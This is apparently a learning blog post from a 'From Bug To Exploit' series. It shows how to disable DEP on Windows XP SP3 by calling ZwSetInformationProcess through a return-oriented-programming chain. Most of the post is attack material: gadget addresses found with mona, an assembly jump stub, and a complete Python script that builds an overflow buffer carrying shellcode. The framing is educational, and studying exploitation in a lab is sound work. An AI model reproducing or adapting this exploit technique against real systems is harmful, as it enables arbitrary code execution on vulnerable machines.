[Learning] Bypassing DEP: Advanced Usage of ZwSetInformationProcess

First Post:

Last Update:

Word Count:
2.6k

Read Time:
16 min

Introduction

This article is part of my series: From Bug To Exploit.

In the previous article, I described how to disable DEP via ZwSetInformationProcess. We used a ROP chain to call the API.

In this article, I will introduce another method. We still use ZwSetInformationProcess, but with a different approach. Instead of calling the API through LdrpCheckNXCompatibility, we directly call the API ZwSetInformationProcess (or NtSetInformationProcess).

Murmur: In the previous article, we found a ROP chain in LdrpCheckNXCompatibility. In real-world practice, however, we are not always that lucky. Therefore, I believe that learning how to call the API directly is essential.

Preparation

We can directly call the ZwSetInformationProcess function with four required parameters.

First, let’s disassemble the API with the command below in WinDbg:

1
uf ntdll!ZwSetInformationProcess
1
2
3
4
mov eax,0E4h
mov edx,offset SharedUserData!SystemCallStub
call dword ptr [edx]
ret 10h

As I mentioned in the previous article, both ZwSetInformationProcess and NtSetInformationProcess share the same address. They are only different in kernel mode. I will discuss their differences in future posts.

Now, let’s discuss how to arrange our exploit buffer and how it will be organized on the stack.

First, we need to cause a buffer overflow. We can apply what we learned from this series.

Before calling the API ZwSetInformationProcess API, we need to prepare the four required parameters.

On 32-bit Windows (x86), APIs commonly use calling conventions such as __stdcall or __cdecl. Therefore, we need to place the four parameters on the stack.

Normally, a compiler uses push instructions to place the parameters on the stack, starting with the last parameter and working backward to the first parameter, and then sets ESP to point to the stack.

However, in a ROP chain, this can be very difficult because we may overwrite our own ROP chain, leading to data corruption and an access violation exception.

Therefore, we can choose a register and treat it as a “pivot”, similar to ESP or EBP, and set the value of ESP to this pivot at the final step. In this article (and in the example from my textbook), we use EDI as the pivot.

Since we can access the pivot directly, we can store the parameters on the stack in order. We don’t have to start with the last parameter.

Generally, we have to set the parameters first. Therefore, the first gadget (which I call rop1 in this article) has to overwrite EIP, so that it is executed first.

Here, I adopt the arrangement from my textbook:

  1. Padding A
  2. Call ZwSetInformationProcess
  3. Padding B
  4. jmp esp: The execution flow will reach here after calling ZwSetInformationProcess
  5. Padding C: We need 0x10 bytes of space for the parameters of ZwSetInformationProcess
  6. Shellcode A: Used to jump to Shellcode B
  7. Padding D
  8. rop1: Use a register that is not commonly used (such as EDI) as a stack address
  9. rop2: The first parameter of ZwSetInformationProcess
  10. rop3: The second parameter of ZwSetInformationProcess
  11. rop4: The third parameter of ZwSetInformationProcess
  12. rop5: The fourth parameter of ZwSetInformationProcess
  13. rop6: Set ESP to (4) and EIP to (2)
  14. Shellcode B

Murmur: Always remember: There is no standard answer. If you can run your shellcode after disabling DEP with your own implementation, then it is correct!

Well, again, my textbook always skips some essential details, which makes me spend more time trying to understand them. While learning this implementation, I was wondering why the author chose this particular arrangement.

The reason is that it is simple. If we append the parameters after rop6, we can hardly find an appropriate value for EDI because we cannot predict how many gadgets we will need. Therefore, we store the parameters before rop1.

We also need to redirect the execution flow to the stack by using jmp esp. After calling ZwSetInformationProcess, ESP should point to jmp esp. Then, we can execute our shellcode. We use a double jump because we might not have enough space to store the main shellcode payload before rop1.

Writing ROP Exploit Script

Now, let’s get started with rop1, which overwrites EIP and sets the pivot EDI.

We can use mona to find all available gadgets:

1
!mona rop -m *

Therefore, rop1 can be implemented as follows:

  1. 0x7eb9a880: PUSH ESP # ADD BH,BH # DEC ECX # POP EAX # POP EBP # RETN 0x04
  2. 0x7eb5de9d: SUB EAX,30 # POP EBP # RETN
  3. 0x7eb5de9d: SUB EAX,30 # POP EBP # RETN
  4. 0x7eb5b0e7: PUSH EAX # ADD AL,66 # MOV DWORD PTR DS:[EAX],1B00001 # POP EDI # POP ESI # POP EBP # RETN 0x08

We set the pivot EDI to an address that is 60 bytes away from ESP.

We use rop2 to configure the first parameter. We put the first parameter -1 into [EDI]:

  1. 0x7eb4dafd: XOR ECX,ECX # RETN
  2. 0x7eb5c81b: # ADD EAX,2 # POP EBP # RETN 0x04 ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
  3. 0x77c34dc2: MOV EAX,EDI # POP ESI # RETN
  4. 0x7eb47ad8: MOV DWORD PTR DS:[EAX],ECX # POP EBP # RETN 0x04

rop3 is the second parameter, 0x22. It is stored in [EDI + 4]:

  1. 0x77c200a0: # XOR EAX,EAX # RETN
  2. 0x7eba2ef2: # ADD EAX,20 # POP EBP # RETN
  3. 0x7eb5c81b: # ADD EAX,2 # POP EBP # RETN 0x04
  4. 0x7eb32b4c: # MOV ECX,EAX # MOV EAX,EDX # MOV EDX,ECX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
  5. 0x7eb5c81b: # ADD EAX,2 # POP EBP # RETN 0x04 ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
  6. 0x7eb5c81b: # ADD EAX,2 # POP EBP # RETN 0x04 ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
  7. 0x7eba5686: # MOV DWORD PTR DS:[EAX],ECX # POP EBP # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}

rop4 is the third parameter, a pointer to 1. We can use [EDI + 0x20] to store 2, and then store EDI + 0x20 into [EDI + 8]:

  1. 0x77c200a0: # XOR EAX,EAX # RETN
  2. 0x7eb5c81b: # ADD EAX,2 # POP EBP # RETN 0x04
  3. 0x7eb32b4c: # MOV ECX,EAX # MOV EAX,EDX # MOV EDX,ECX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
  4. 0x77c34dc2: # MOV EAX,EDI # POP ESI # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
  5. 0x77c1d7f5: # ADD EAX,20 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
  6. 0x7eb47ad8: # MOV DWORD PTR DS:[EAX],ECX # POP EBP # RETN 0x04 ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
  7. 0x7eb32b4c: # MOV ECX,EAX # MOV EAX,EDX # MOV EDX,ECX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_REA}
  8. 0x77c34dc2: # MOV EAX,EDI # POP ESI # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
  9. 0x77c1f2c1: # ADD EAX,8 # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
  10. 0x7eb47ad8: # MOV DWORD PTR DS:[EAX],ECX # POP EBP # RETN 0x04 ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}

rop5 is the fourth parameter, storing the value 4 at [EDI + 0x0C]:

  1. 0x77c200a0: # XOR EAX,EAX # RETN
  2. 0x7eb5c81b: # ADD EAX,2 # POP EBP # RETN 0x04
  3. 0x7eb5c81b: # ADD EAX,2 # POP EBP # RETN 0x04
  4. 0x7eb32b4c: # MOV ECX,EAX # MOV EAX,EDX # MOV EDX,ECX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
  5. 0x77c34dc2: # MOV EAX,EDI # POP ESI # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
  6. 0x77c1f2c1: # ADD EAX,8 # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
  7. 0x7eb5c81b: # ADD EAX,2 # POP EBP # RETN 0x04
  8. 0x7eb5c81b: # ADD EAX,2 # POP EBP # RETN 0x04
  9. 0x7eb47ad8: # MOV DWORD PTR DS:[EAX],ECX # POP EBP # RETN 0x04 ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}

rop6 is used to redirect the execution flow to EDI - 4. The final retn 0x08 places EDI - 4 into EIP:

  1. 0x77c34dc2: # MOV EAX,EDI # POP ESI # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
  2. 0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
  3. 0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
  4. 0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
  5. 0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
  6. 0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
  7. 0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
  8. 0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
  9. 0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
  10. 0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
  11. 0x77c47844: # ADD EAX,-2 # POP EBP # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}
  12. 0x7eb9a9e3: # PUSH EAX # SUB AL,8B # DEC ECX # OR AL,1 # DEC EAX # POP ESP # POP EBP # RETN 0x08 ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}

The multiple ADD EAX,-2 instructions and the final gadget are used to make the final value of ESP point to the ZwSetInformationProcess API.

Let’s look at Padding C. The disassembled ntdll!ZwSetInformationProcess is shown below:

1
2
3
4
mov eax,0E4h
mov edx,offset SharedUserData!SystemCallStub
call dword ptr [edx]
ret 10h

Therefore, we need padding with a size of 0x10. Otherwise, our exploit chain will be corrupted.

What about Shellcode A? We just need to write a simple assembly code:

1
2
3
4
5
6
7
8
9
10
11
; jump.asm
[BITS 32]

mov eax,esp
add eax,127
add eax,127
add eax,127
add eax,127
add eax,95

jmp eax

Then, we can easily obtain the shellcode with the commands below:

1
2
nasm jump.asm -o jump.bin
xxd -i jump.bin

The final implementation of the exploit script is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
# exploit_dep.py

import struct

def read_shellcode() -> bytes:
shellcode = b''

with open('messagebox.bin', 'rb') as f:
shellcode += f.read()

return shellcode

def p32(addr) -> bytes:
return struct.pack('<I', addr)

def sword_one_plus() -> bytes:
zwsetinformationprocess = p32(0x7eb3dc9e)
padding_B = b'B' * 0x08
stack_pivot = p32(0x7c874f13)
padding_C = b'C' * 0x10
shellcode_A = b'\x89\xe0\x83\xc0\x7f\x83\xc0\x7f\x83\xc0\x7f\x83\xc0\x5f\xff\xe0'
padding_D = b'D' * 0x3c

padding_A = b'A' * (140 - len(zwsetinformationprocess) - len(padding_B) - len(stack_pivot) - len(padding_C) - len(shellcode_A) - len(padding_D))

rop1 = b''
rop1 += p32(0x7eb9a880) # PUSH ESP # ADD BH,BH # DEC ECX # POP EAX # POP EBP # RETN 0x04
rop1 += b'1111' # pop eax
rop1 += p32(0x7eb5de9d) # SUB EAX,30 # POP EBP # RETN
rop1 += b'1111' # retn 0x04
rop1 += b'1111' # pop ebp
rop1 += p32(0x7eb5de9d) # SUB EAX,30 # POP EBP # RETN
rop1 += b'1111' # retn
rop1 += p32(0x7eb5b0e7) # PUSH EAX # ADD AL,66 # MOV DWORD PTR DS:[EAX],1B00001 # POP EDI # POP ESI # POP EBP # RETN 0x08
rop1 += b'1111' # pop esi
rop1 += b'1111' # pop ebp

rop2 = b''
rop2 += p32(0x7eb4dafd) # XOR ECX,ECX # RETN
rop2 += b'22222222' # retn 0x08 from rop1
rop2 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop2 += b'2222'
rop2 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN
rop2 += b'2222' # pop esi
rop2 += b'2222' # retn 0x04
rop2 += p32(0x7eb47ad8) # MOV DWORD PTR DS:[EAX],ECX # POP EBP # RETN 0x04
rop2 += b'2222'

rop3 = b''
rop3 += p32(0x77c200a0) # XOR EAX,EAX # RETN
rop3 += b'3333' # retn 0x04 from rop2
rop3 += p32(0x7eba2ef2) # ADD EAX,20 # POP EBP # RETN
rop3 += b'3333' # pop ebp
rop3 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop3 += b'3333' # pop ebp
rop3 += p32(0x7eb32b4c) # MOV ECX,EAX # MOV EAX,EDX # MOV EDX,ECX # RETN
rop3 += b'3333' # retn 0x04
rop3 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop3 += b'3333' # pop ebp
rop3 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop3 += b'3333' # pop ebp
rop3 += b'3333' # retn 0x04
rop3 += p32(0x7eba5686) # MOV DWORD PTR DS:[EAX],ECX # POP EBP # RETN
rop3 += b'3333' # pop ebp

rop4 = b''
rop4 += p32(0x77c200a0) # XOR EAX,EAX # RETN
rop4 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop4 += b'4444'
rop4 += p32(0x7eb32b4c) # MOV ECX,EAX # MOV EAX,EDX # MOV EDX,ECX # RETN
rop4 += b'4444' # retn 0x04
rop4 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN
rop4 += b'4444' # pop esi
rop4 += p32(0x77c1d7f5) # ADD EAX,20 # POP EBP # RETN
rop4 += b'4444' # pop ebp
rop4 += p32(0x7eb47ad8) # MOV DWORD PTR DS:[EAX],ECX # POP EBP # RETN 0x04
rop4 += b'4444' # pop ebp
rop4 += p32(0x7eb32b4c) # MOV ECX,EAX # MOV EAX,EDX # MOV EDX,ECX # RETN
rop4 += b'4444' # retn 0x04
rop4 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN
rop4 += b'4444' # pop esi
rop4 += p32(0x77c1f2c1) # ADD EAX,8 # RETN
rop4 += p32(0x7eb47ad8) # MOV DWORD PTR DS:[EAX],ECX # POP EBP # RETN 0x04
rop4 += b'4444'

rop5 = b''
rop5 += p32(0x77c200a0) # XOR EAX,EAX # RETN
rop5 += b'5555' # retn 0x04 from pop
rop5 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop5 += b'5555' # pop ebp
rop5 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop5 += b'5555' # retn 0x04
rop5 += b'5555' # pop ebp
rop5 += p32(0x7eb32b4c) # MOV ECX,EAX # MOV EAX,EDX # MOV EDX,ECX # RETN
rop5 += b'5555' # retn 0x04
rop5 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN
rop5 += b'5555' # pop esi
rop5 += p32(0x77c1f2c1) # ADD EAX,8 # RETN
rop5 += p32(0x7eb5c81b) # ADD EAX,2 # POP EBP # RETN 0x04
rop5 += b'5555' # pop ebp
rop5 += p32(0x7eb47ad8) # MOV DWORD PTR DS:[EAX],ECX # POP EBP # RETN 0x04
rop5 += b'5555' # retn 0x04
rop5 += b'5555' # pop ebp

rop6 = b''
rop6 += p32(0x77c34dc2) # MOV EAX,EDI # POP ESI # RETN
rop6 += b'6666' # retn 0x04 from rop5
rop6 += b'6666' # pop esi
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x77c47844) # ADD EAX,-2 # POP EBP # RETN
rop6 += p32(0x7eb9a9e3) # PUSH EAX # SUB AL,8B # DEC ECX # OR AL,1 # DEC EAX # POP ESP # POP EBP # RETN 0x08
rop6 += b'6666' # pop ebp

# 8 bytes padding left
#rop6 += b'66666666' # retn 8

nops = b'\x90' * 24
shellcode = read_shellcode()

exploit = b''
exploit += padding_A # junk data
exploit += zwsetinformationprocess
exploit += padding_B # retn 0x08 from rop6
exploit += stack_pivot
exploit += padding_C # retn 0x10 from ZwSetInformationProcess
exploit += shellcode_A
exploit += padding_D # junk data

exploit += rop1

exploit += rop2
exploit += rop3
exploit += rop4
exploit += rop5
exploit += rop6
exploit += nops
exploit += shellcode

return exploit

def main():
exploit = sword_one_plus()

with open('exploit_dep.txt', 'wb') as f:
f.write(exploit)

if __name__ == '__main__':
main()

Finally, let’s exploit it in a Windows XP SP3 virtual machine!

Conclusion

This is my second time developing a ROP exploit script.

To be honest, ROP is probably the most difficult part of learning stack-based buffer overflows. However, compared to the previous article, I feel that I now have a deeper understanding of it!

In the next article, I will introduce the second method of bypassing DEP.

This is the end of this article. If you have any comments or suggestions, please feel free to leave them below!

THANKS FOR READING!

I drew a new drawing!

ごめん、すごく待った?